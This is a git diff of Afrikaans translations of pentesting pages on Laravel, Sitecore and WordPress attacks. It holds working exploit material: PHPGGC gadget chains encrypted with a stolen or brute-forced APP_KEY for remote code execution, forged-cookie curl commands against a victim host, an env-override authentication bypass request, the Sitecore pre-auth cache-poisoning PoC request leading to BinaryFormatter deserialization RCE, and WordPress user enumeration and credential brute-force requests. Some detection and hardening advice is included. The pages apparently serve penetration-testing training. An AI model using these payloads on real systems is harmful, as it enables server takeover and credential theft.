+`encrypt($value, $serialize=true)` sal standaard die plaintext `serialize()` uitvoer, terwyl
+`decrypt($payload, $unserialize=true)` **die gedekripteerde waarde outomaties `unserialize()`**.
+Daarom kan **any attacker wat die 32-byte geheim `APP_KEY` ken 'n versleutelde PHP serialized object vervaardig en RCE verkry via magic methods (`__wakeup`, `__destruct`, …)**.
 
 Minimale PoC (framework ≥9.x):
 ```php
@@ -31,12 +31,12 @@ use Illuminate\Support\Facades\Crypt;
 $chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
 $evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
 ```
-Inject die geproduseerde string in enige kwesbare `decrypt()` sink (route param, cookie, session, …).
+Inspuit die geproduseerde string in enige kwesbare `decrypt()` sink (route param, cookie, session, …).
 
 ---
 
 ## laravel-crypto-killer 🧨
-[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by:
+[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) outomatiseer die hele proses en voeg 'n gerieflike **bruteforce**-modus by:
 ```bash
 # Encrypt a phpggc chain with a known APP_KEY
 laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@@ -47,11 +47,11 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
 # Try a word-list of keys against a token (offline)
 laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
 ```
-Die skrip ondersteun beide CBC- en GCM-payloads deursigtig en genereer die HMAC/tag-veld weer.
+Die skrip ondersteun deursigtig beide CBC- en GCM-payloads en genereer die HMAC/tag-veld weer.
 
 ---
 
-## Werklike kwesbare patrone
+## Werklike wêreld kwesbare patrone
 
 | Project | Vulnerable sink | Gadget chain |
 |---------|-----------------|--------------|
@@ -59,11 +59,11 @@ Die skrip ondersteun beide CBC- en GCM-payloads deursigtig en genereer die HMAC/
 | Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
 | Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
 
-Die eksploitasiewerksvloei is altyd:
-1. Kry of brute-force die 32-byte `APP_KEY`.
-2. Bou 'n gadget chain met **PHPGGC** (byvoorbeeld `Laravel/RCE13`, `Laravel/RCE9` of `Laravel/RCE15`).
+Die uitbuitings-werksvloei is altyd:
+1. Verkry of brute-force die 32-byte `APP_KEY`.
+2. Skep 'n gadget chain met **PHPGGC** (byvoorbeeld `Laravel/RCE13`, `Laravel/RCE9` of `Laravel/RCE15`).
 3. Enkripteer die geserialiseerde gadget met **laravel_crypto_killer.py** en die herwonne `APP_KEY`.
-4. Lewer die ciphertext aan die kwesbare `decrypt()` sink (route parameter, cookie, session …) om **RCE** te aktiveer.
+4. Aflewer die ciphertext aan die kwesbare `decrypt()` sink (route parameter, cookie, session …) om **RCE** te aktiveer.
 
 Hieronder is bondige eenreëls wat die volle aanvalspad vir elke bogenoemde werklike CVE demonstreer:
 ```bash
@@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
 ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
 curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
 ```
-## Mass APP_KEY discovery via cookie brute-force
+## Massale APP_KEY-ontdekking via cookie brute-force
 
-Omdat elke vars Laravel-antwoord minstens 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** wat offline aangeval kan word.
+Omdat elke vars Laravel-respons minstens 1 encrypted cookie (`XSRF-TOKEN` en gewoonlik `laravel_session`) instel, **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** wat offline aangeval kan word.
 
 Belangrike bevindinge van die navorsing gepubliseer deur Synacktiv (2024-2025):
-* Datastel Julie 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
-* Datastel Mei 2025 » 625 k tokens, **3.56 % keys cracked**
-* >1 000 servers nog steeds kwesbaar vir legacy CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
-* Groot key-hergebruik – die Top-10 APP_KEYs is hard-coded defaults wat saam met kommersiële Laravel-templates gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
+* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
+* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
+* >1 000 servers nog steeds kwesbaar vir legacy CVE-2018-15133 omdat tokens direk serialized data bevat.
+* Enorme sleutelhergebruik – die Top-10 APP_KEYs is hard-coded defaults wat saam met kommersiële Laravel-templates versend word (UltimatePOS, Invoice Ninja, XPanel, …).
 
-Die private Go-instrument **nounours** stoot AES-CBC/GCM bruteforce throughput na ~1.5 billion tries/s, wat volledige datastel-kraking tot <2 minute verminder.
+Die private Go-instrument **nounours** verhoog AES-CBC/GCM bruteforce-throughput tot ~1.5 miljard tries/s, wat die kraak van die volledige dataset tot <2 minute verminder.
 
 
 ## CVE-2024-52301 – HTTP argv/env override → auth bypass
 
-Wanneer PHP’s `register_argc_argv=On` (tipies op baie distros), gee PHP 'n `argv` array bloot vir HTTP-versoeke wat van die query string afgeleide is. Onlangse Laravel-weergawes het hierdie “CLI-like” args geparseer en `--env=<value>` by runtime geag. Dit laat toe om die framework-omgewing vir die huidige HTTP-versoek te omskakel net deur dit aan enige URL toe te voeg:
+Wanneer PHP se `register_argc_argv=On` (tipies op baie distros), openbaar PHP 'n `argv`-array vir HTTP-aanvrae wat van die query string afgelei is. Onlangse Laravel-weergawes het hierdie “CLI-like” args geparseer en `--env=<value>` by runtime gerespekteer. Dit maak dit moontlik om die framework-omgewing vir die huidige HTTP-aanvraag te verander net deur dit by enige URL te heg:
 
 - Vinnige toets:
 - Besoek `https://target/?--env=local` of enige string en kyk vir omgewing-afhanklike veranderinge (debug banners, footers, verbose errors). As die string gereflekteer word, werk die override.
 
-- Impakvoorbeeld (business logic wat op 'n spesiale env vertrou):
-- As die app takke bevat soos `if (app()->environment('preprod')) { /* bypass auth */ }`, kan jy autentiseer sonder geldige creds deur die login POST te stuur na:
+- Impact-voorbeeld (business logic wat 'n spesiale env vertrou):
+- As die app takke bevat soos `if (app()->environment('preprod')) { /* bypass auth */ }`, kan jy outentiseer sonder geldige creds deur die login POST te stuur na:
 - `POST /login?--env=preprod`
 
 - Aantekeninge:
-- Werk per-versoek, geen persistentie.
-- Vereis `register_argc_argv=On` en 'n kwesbare Laravel-weergawes wat argv vir HTTP lees.
-- Nuttige primitive om meer verbose errors in “debug” envs te ontbloot of om environment-gated code paths te trigger.
+- Werk per aanvraag, geen persistentie.
+- Vereis `register_argc_argv=On` en 'n kwesbare Laravel-weergawe wat argv vir HTTP lees.
+- Nuttige primitief om meer verbose errors in “debug” envs te openbaar of om omgewing-geslote codepaaie te trigger.
 
 - Mitigasies:
-- Disable `register_argc_argv` vir PHP-FPM/Apache.
-- Upgrade Laravel om argv op HTTP-versoeke te ignoreer en verwyder enige trust-aanname wat aan `app()->environment()` in production routes gekoppel is.
+- Deaktiveer `register_argc_argv` vir PHP-FPM/Apache.
+- Werk Laravel op sodat argv in HTTP-aanvragen geïgnoreer word en verwyder enige vertrouensveronderstellings wat aan `app()->environment()` in produksieroutes gekoppel is.
 
 Minimale uitbuitingsvloei (Burp):
 ```http
@@ -125,26 +125,26 @@ email=a@b.c&password=whatever&remember=0xdf
 ```
 ---
 
-## Laravel Truuks
+## Laravel Wenke
 
 ### Foutopsporingsmodus
 
-As Laravel in **foutopsporingsmodus** is, sal jy toegang hê tot die **kode** en **gevoelige data**.\
+As Laravel in **foutopsporingsmodus** is, sal jy toegang hê tot die **kode** en **sensitiewe data**.\
 Byvoorbeeld `http://127.0.0.1:8000/profiles`:
 
 ![](<../../images/image (1046).png>)
 
-Dit is gewoonlik nodig vir exploiting ander Laravel RCE CVEs.
+Dit is gewoonlik nodig vir die exploiting van ander Laravel RCE CVEs.
 
-### Fingerprinting & exposed dev endpoints
+### Fingerprinting & blootgestelde dev-endpoints
 
-Vinnige kontroles om 'n Laravel-stapel en gevaarlike dev-tooling wat in produksie blootgestel is, te identifiseer:
+Vinnige kontroles om 'n Laravel-stack en gevaarlike dev-tooling wat in produksie blootgestel is, te identifiseer:
 
-- `/_ignition/health-check` → Ignition teenwoordig (debug-instrument wat deur CVE-2021-3129 gebruik is). As dit sonder verifikasie bereikbaar is, mag die app in debug wees of verkeerd gekonfigureer.
-- `/_debugbar` → Laravel Debugbar assets; dui dikwels op foutopsporingsmodus.
+- `/_ignition/health-check` → Ignition teenwoordig (debug tool used by CVE-2021-3129). As dit sonder authentikasie bereikbaar is, mag die app in debug wees of verkeerd gekonfigureer wees.
+- `/_debugbar` → Laravel Debugbar assets; dui dikwels op debug-modus.
 - `/telescope` → Laravel Telescope (dev monitor). As dit publiek is, verwag omvattende inligtingsonthulling en moontlike aksies.
-- `/horizon` → Queue dashboard; weergawe-inligting en soms CSRF-beskermde aksies.
-- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, en Blade-foutbladsye help ook met fingerprinting.
+- `/horizon` → Queue dashboard; weergawe-onthulling en soms CSRF-beskermde aksies.
+- X-Powered-By, koekies `XSRF-TOKEN` en `laravel_session`, en Blade foutbladsye help ook met fingerprinting.
 ```bash
 # Nuclei quick probe
 nuclei -nt -u https://target -tags laravel -rl 30
@@ -153,11 +153,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
 ```
 ### .env
 
-Laravel stoor die APP wat dit gebruik om die cookies en ander credentials te enkripteer in 'n lêer genaamd `.env` wat bereik kan word deur path traversal onder: `/../.env`
+Laravel bewaar die APP wat dit gebruik om die cookies en ander inlogbewyse te enkripteer in 'n lêer genaamd `.env` wat benader kan word deur 'n path traversal onder: `/../.env`
 
-Laravel sal hierdie inligting ook op die debug page wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
+Laravel sal hierdie inligting ook op die debug-bladsy wys (wat verskyn wanneer Laravel 'n fout vind en debug geaktiveer is).
 
-Deur die geheime APP_KEY van Laravel te gebruik, kan jy cookies decrypt en re-encrypt:
+Deur die geheime APP_KEY van Laravel te gebruik, kan jy cookies dekripteer en weer enkripteer:
 
 ### Decrypt Cookie
 ```python
@@ -220,16 +220,16 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
 ```
 ### Laravel Deserialization RCE
 
-Kwetsbare weergawes: 5.5.40 en 5.6.x tot en met 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
+Kwetsbare weergawes: 5.5.40 en 5.6.x tot 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
 
-Hier vind jy inligting oor die deserialization-kwetsbaarheid: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
+Hier kan jy inligting oor die deserialization vulnerability vind: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
 
-Jy kan dit toets en uitbuit met behulp van [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
-Of jy kan dit ook met metasploit uitbuit: `use unix/http/laravel_token_unserialize_exec`
+Jy kan dit toets en exploit gebruik met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
+Of jy kan dit ook met metasploit exploit: `use unix/http/laravel_token_unserialize_exec`
 
 ### CVE-2021-3129
 
-Nog 'n deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
+Nog deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
 
 
 
diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md
index 6d1bb1af0..697ae1418 100644
--- a/src/network-services-pentesting/pentesting-web/sitecore/README.md
+++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Hierdie bladsy som 'n praktiese aanvalsketting op Sitecore XP 10.4.1 op wat oorskuif van 'n pre‑auth XAML handler na HTML cache poisoning en, via 'n geauthentiseerde UI‑vloei, na RCE deur BinaryFormatter deserialization. Die tegnieke generaliseer na soortgelyke Sitecore-weergawes/komponente en verskaf konkrete primitive om te toets, op te spoor en te versterk.
+Hierdie bladsy som 'n praktiese aanvalsketting teen Sitecore XP 10.4.1 op wat skuif van 'n pre‑auth XAML handler na HTML cache poisoning en, via 'n authenticated UI flow, na RCE deur BinaryFormatter deserialization. Die tegnieke generaliseer na soortgelyke Sitecore weergawes/komponente en bied konkrete primitives om te test, detect en harden.
 
-- Aangetaste produk (getoets): Sitecore XP 10.4.1 rev. 011628
+- Aangetaste produk: Sitecore XP 10.4.1 rev. 011628
 - Reggestel in: KB1003667, KB1003734 (Junie/Juli 2025)
 
 Sien ook:
@@ -27,7 +27,7 @@ Toeganklik via:
 ```
 GET /-/xaml/Sitecore.Shell.Xaml.WebControl
 ```
-Die kontroleboom sluit AjaxScriptManager in, wat, by gebeurtenisversoeke, velde wat deur die aanvaller beheer word lees en reflektief metodes op geteikende kontroles aanroep:
+Die control tree sluit AjaxScriptManager in wat, by event-versoeke, aanvaller‑beheerde velde lees en reflektief metodes op geteikende controls aanroep:
 ```csharp
 // AjaxScriptManager.OnPreRender
 string clientId = page.Request.Form["__SOURCE"];      // target control
@@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters);
 // Alternate branch for XML-based controls
 if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
 ```
-Sleutelwaarneming: die XAML-bladsy bevat 'n XmlControl-instantie (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl stam af van Sitecore.Web.UI.WebControl ('n Sitecore-klas), wat die ReflectionUtil.Filter allow-list (Sitecore.*) deurlaat en sodoende metodes op Sitecore WebControl ontsluit.
+Belangrike waarneming: die XAML-bladsy sluit 'n XmlControl-instantie in (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl stam af van Sitecore.Web.UI.WebControl ('n Sitecore-klas), wat die ReflectionUtil.Filter allow‑list (Sitecore.*) deurlaat en sodoende metodes op Sitecore WebControl ontsluit.
 
 Magiese metode vir poisoning:
 ```csharp
@@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
 if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
 }
 ```
-Omdat ons xmlcontrol:GlobalHeader kan teiken en Sitecore.Web.UI.WebControl-metodes by naam kan aanroep, kry ons 'n pre‑auth arbitrary HtmlCache write primitive.
+Omdat ons xmlcontrol:GlobalHeader kan teiken en Sitecore.Web.UI.WebControl methods by name kan aanroep, kry ons 'n pre‑auth arbitrary HtmlCache write primitive.
 
 ### PoC request (CVE-2025-53693)
 ```
@@ -63,12 +63,12 @@ Content-Type: application/x-www-form-urlencoded
 __PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
 ```
 Aantekeninge:
-- __SOURCE is die clientID van xmlcontrol:GlobalHeader binne Sitecore.Shell.Xaml.WebControl (gewoonlik stabiel soos ctl00_ctl00_ctl05_ctl03 aangesien dit afgelei is van statiese XAML).
-- __PARAMETERS formaat is Method("arg1","arg2").
+- __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
+- __PARAMETERS format is Method("arg1","arg2").
 
-## Wat om te vergiftig: Cache-sleutel konstruksie
+## Wat om te vergiftig: Opbou van cache-sleutel
 
-Tipiese HtmlCache sleutel-konstruksie wat deur Sitecore controls gebruik word:
+Tipiese HtmlCache-sleutelopbou wat deur Sitecore controls gebruik word:
 ```csharp
 public virtual string GetCacheKey(){
 SiteContext site = Sitecore.Context.Site;
@@ -90,13 +90,13 @@ return k;
 return string.Empty;
 }
 ```
-Voorbeeld targeted poisoning vir 'n bekende sublayout:
+Voorbeeld van geteikende poisoning vir 'n bekende sublayout:
 ```
 __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
 ```
-## Enumerering van cacheable components en “vary by” dimensies
+## Enumerering van cacheable items en “vary by” dimensies
 
-As die ItemService anoniem (mis)blootgestel is, kan jy cacheable components opnoem om presiese sleutels af te lei.
+As die ItemService (mis)blootgestel is anoniem, kan jy cacheable komponente opnoem om presiese sleutels af te lei.
 
 Vinnige probe:
 ```
@@ -104,17 +104,17 @@ GET /sitecore/api/ssc/item
 // 404 Sitecore error body → exposed (anonymous)
 // 403 → blocked/auth required
 ```
-Lys van cachebare items en vlae:
+Lys cachebare items en vlae:
 ```
 GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
 ```
-Kyk na velde soos Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Toestelname kan geënumeer word via:
+Soek na velde soos Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Toestelname kan geënumeer word via:
 ```
 GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
 ```
-### Side‑channel enumeration under restricted identities (CVE-2025-53694)
+### Side‑channel enumeration onder beperkte identiteite (CVE-2025-53694)
 
-Selfs wanneer ItemService 'n beperkte account naboots (bv. ServicesAPI) en returns an empty Results array, kan TotalCount steeds pre‑ACL Solr hits weerspieël. Jy kan brute‑force item groups/ids met wildcards doen en kyk hoe TotalCount konvergeer om interne inhoud en toestelle in kaart te bring:
+Selfs wanneer ItemService as 'n beperkte account optree (e.g., ServicesAPI) en 'n leë Results array teruggee, kan TotalCount steeds pre‑ACL Solr hits weerspieël. Jy kan brute‑force item groups/ids met wildcards en kyk hoe TotalCount konvergeer om interne inhoud en devices in kaart te bring:
 ```
 GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
 → "TotalCount": 3
@@ -131,14 +131,14 @@ Sink:
 byte[] b = Convert.FromBase64String(data);
 return new BinaryFormatter().Deserialize(new MemoryStream(b));
 ```
-Toeganklik via die convertToRuntimeHtml pipeline-stap ConvertWebControls, wat na 'n element met id {iframeId}_inner soek, dit base64 decodeer + deserialiseer en dan die resulterende string in die HTML invoeg:
+Bereikbaar via die convertToRuntimeHtml pipeline step ConvertWebControls, wat soek na 'n element met id {iframeId}_inner en base64 decodeer + deserialiseer, en dan die resulterende string in die HTML invoeg:
 ```csharp
 HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
 string text2   = inner?.GetAttributeValue("value", "");
 if (text2.Length > 0)
 htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
 ```
-Trigger (geauthentiseer, Content Editor-regte). Die FixHtml-dialoog roep convertToRuntimeHtml aan. End‑to‑end sonder UI-klikke:
+Trigger (geauthentiseer, Content Editor regte). Die FixHtml dialoog roep convertToRuntimeHtml aan. Eind-tot-eind sonder UI clicks:
 ```
 // 1) Start Content Editor
 GET /sitecore/shell/Applications/Content%20Editor.aspx
@@ -159,8 +159,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
 // 4) Visit FixHtml to trigger ConvertWebControls → deserialization
 GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
 ```
-Gadget generation: gebruik ysoserial.net / YSoNet met BinaryFormatter om 'n base64 payload te produseer wat 'n string teruggee. Die string se inhoud word in die HTML geskryf deur ConvertWebControls nadat deserialiserings‑side‑effekte uitgevoer is.
-
+Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. Die string se inhoud word in die HTML geskryf deur ConvertWebControls nadat deserialisering‑side‑effekte uitgevoer is.
 
 {{#ref}}
 ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -168,22 +167,22 @@ Gadget generation: gebruik ysoserial.net / YSoNet met BinaryFormatter om 'n base
 
 ## Volledige ketting
 
-1) Pre‑auth aanvaller vergiftig HtmlCache met arbitraire HTML deur reflectief WebControl.AddToCache aan te roep via XAML AjaxScriptManager.  
-2) Die vergiftigde HTML bedien JavaScript wat 'n geauthentiseerde Content Editor‑gebruiker deur die FixHtml‑vloei aanspoor.  
-3) Die FixHtml‑blad aktiveer convertToRuntimeHtml → ConvertWebControls, wat die deur die aanvaller beheerde base64 met BinaryFormatter deserialiseer → RCE onder die Sitecore app pool‑identiteit.
+1) Pre‑auth aanvaller vergiftig HtmlCache met arbitrêre HTML deur reflectief WebControl.AddToCache aan te roep via XAML AjaxScriptManager.  
+2) Vergiftigde HTML dien JavaScript op wat ’n geauthentiseerde Content Editor‑gebruiker deur die FixHtml‑vloei aanmoedig.  
+3) Die FixHtml‑bladsy aktiveer convertToRuntimeHtml → ConvertWebControls, wat deur die aanvaller beheerde base64 via BinaryFormatter deserialiseer → RCE onder die Sitecore app pool‑identiteit.
 
 ## Opsporing
 
 - Pre‑auth XAML: versoeke na `/-/xaml/Sitecore.Shell.Xaml.WebControl` met `__ISEVENT=1`, verdagte `__SOURCE` en `__PARAMETERS=AddToCache(...)`.  
-- ItemService‑sondeering: pieke van `/sitecore/api/ssc` wildcard‑navrae, groot `TotalCount` met leë `Results`.  
-- Deserialiseringspogings: `EditHtml.aspx` gevolg deur `FixHtml.aspx?hdl=...` en abnormaal groot base64 in HTML‑velde.
+- ItemService probing: pieke in `/sitecore/api/ssc` wildcard‑navrae, ’n groot `TotalCount` met leë `Results`.  
+- Deserialisering‑pogings: `EditHtml.aspx` gevolg deur `FixHtml.aspx?hdl=...` en ongewone groot base64 in HTML‑velde.
 
 ## Verharding
 
-- Pas Sitecore‑patches KB1003667 en KB1003734 toe; beperk/deaktiveer pre‑auth XAML handlers of voeg streng validering by; moniteer en beperk versoektempo na `/-/xaml/`.  
-- Verwyder/vervang BinaryFormatter; beperk toegang tot convertToRuntimeHtml of handhaaf sterk bediener‑kant validering van HTML‑redigeer vloei.  
-- Beperk toegang tot `/sitecore/api/ssc` tot loopback of geauthentiseerde rolle; vermy impersonation‑patrone wat leak `TotalCount`‑gebaseerde side channels.  
-- Handhaaf MFA/least privilege vir Content Editor‑gebruikers; hersien CSP om die impak van JS‑sturing deur cache poisoning te verminder.
+- Pas Sitecore‑patches KB1003667 en KB1003734 toe; gate/deaktiveer pre‑auth XAML‑handelaars of voeg streng validering by; moniteer en rate‑limit `/-/xaml/`.  
+- Verwyder/vervang BinaryFormatter; beperk toegang tot convertToRuntimeHtml of dwing sterk bediener‑kant validering van HTML‑bewerkingsvloei af.  
+- Sluit `/sitecore/api/ssc` af tot loopback of geauthentikeerde rolle; vermy impersonation patterns wat `TotalCount`‑gebaseerde side channels leak.  
+- Handhaaf MFA/least privilege vir Content Editor‑gebruikers; hersien CSP om die JS‑steering‑impak van cache poisoning te verminder.
 
 ## Verwysings
 
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 54469471d..518bae5de 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
 
 ![](<../../images/image (1111).png>)
 
-- CSS link-lêers
+- CSS-lêers
 
 ![](<../../images/image (533).png>)
 
@@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
 
 ![](<../../images/image (524).png>)
 
-### Kry Inproppe
+### Kry inproppe
 ```bash
 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 ```
@@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
 ```bash
 curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 ```
-### Haal weergawes oor die algemeen uit
+### Ekstraheer weergawes in die algemeen
 ```bash
 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 
@@ -81,33 +81,33 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
 
 ### Plugins and Themes
 
-Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om almal te ontdek, sal jy moet **actively Brute Force a list of Plugins and Themes** (hopelik is daar vir ons geoutomatiseerde gereedskap wat hierdie lyste bevat).
+Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om hulle almal te ontdek, sal jy **actively Brute Force a list of Plugins and Themes** moet uitvoer (hopelik is daar geoutomatiseerde gereedskap wat hierdie lyste bevat).
 
 ### Gebruikers
 
-- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-site deur gebruikers-ID's te Brute Forcing:
+- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Forcing:
 ```bash
 curl -s -I -X GET http://blog.example.com/?author=1
 ```
-As die antwoorde **200** of **30X** is, beteken dit dat die id **geldig** is. As die antwoord **400** is, is die id **ongeldig**.
+Indien die antwoorde **200** of **30X** is, beteken dit dat die **id** **geldig** is. As die antwoord **400** is, is die **id** **ongeldig**.
 
-- **wp-json:** Jy kan ook probeer om inligting oor gebruikers te kry deur navrae te stuur:
+- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur navraag te doen:
 ```bash
 curl http://blog.example.com/wp-json/wp/v2/users
 ```
-Nog 'n `/wp-json/` eindpunt wat sekere inligting oor gebruikers kan openbaar, is:
+Nog 'n `/wp-json/` endpoint wat sekere inligting oor gebruikers kan openbaar, is:
 ```bash
 curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 ```
-Let daarop dat hierdie endpoint slegs gebruikers openbaar wat 'n pos geplaas het. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
+Let wel dat hierdie endpoint slegs gebruikers openbaar wat 'n pos gemaak het. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
 
-Neem ook kennis dat **/wp-json/wp/v2/pages** IP addresses kan leak.
+Let ook daarop dat **/wp-json/wp/v2/pages** IP-adresse kan leak.
 
-- **Login username enumeration**: Wanneer jy aanmeld by **`/wp-login.php`** is die **boodskap** **verskillend**, wat aandui of die **username bestaan of nie**.
+- **Login username enumeration**: Wanneer jy by **`/wp-login.php`** aanmeld, is die **boodskap** **anders** en dui dit aan of die **gebruikersnaam bestaan of nie**.
 
 ### XML-RPC
 
-As `xml-rpc.php` aktief is kan jy credentials brute-force uitvoer of dit gebruik om DoS attacks teen ander hulpbronne te loods. (Jy kan hierdie proses byvoorbeeld outomatiseer [using this](https://github.com/relarizky/wpxploit)).
+As `xml-rpc.php` aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses[ using this](https://github.com/relarizky/wpxploit) byvoorbeeld outomatiseer).
 
 Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur hierdie versoek:
 
@@ -122,7 +122,7 @@ Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur
 
 **Credentials Bruteforce**
 
-**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om credentials te brute-force. As jy enige van hulle vind, kan jy iets soos stuur:
+**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om brute-force credentials te bekom. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
 ```html
 <methodCall>
 <methodName>wp.getUsersBlogs</methodName>
@@ -132,13 +132,13 @@ Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur
 </params>
 </methodCall>
 ```
-Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode response moet verskyn as die credentials nie geldig is nie.
+Die boodskap _"Incorrect username or password"_ binne 'n 200 code response moet verskyn as die credentials nie geldig is nie.
 
 ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 
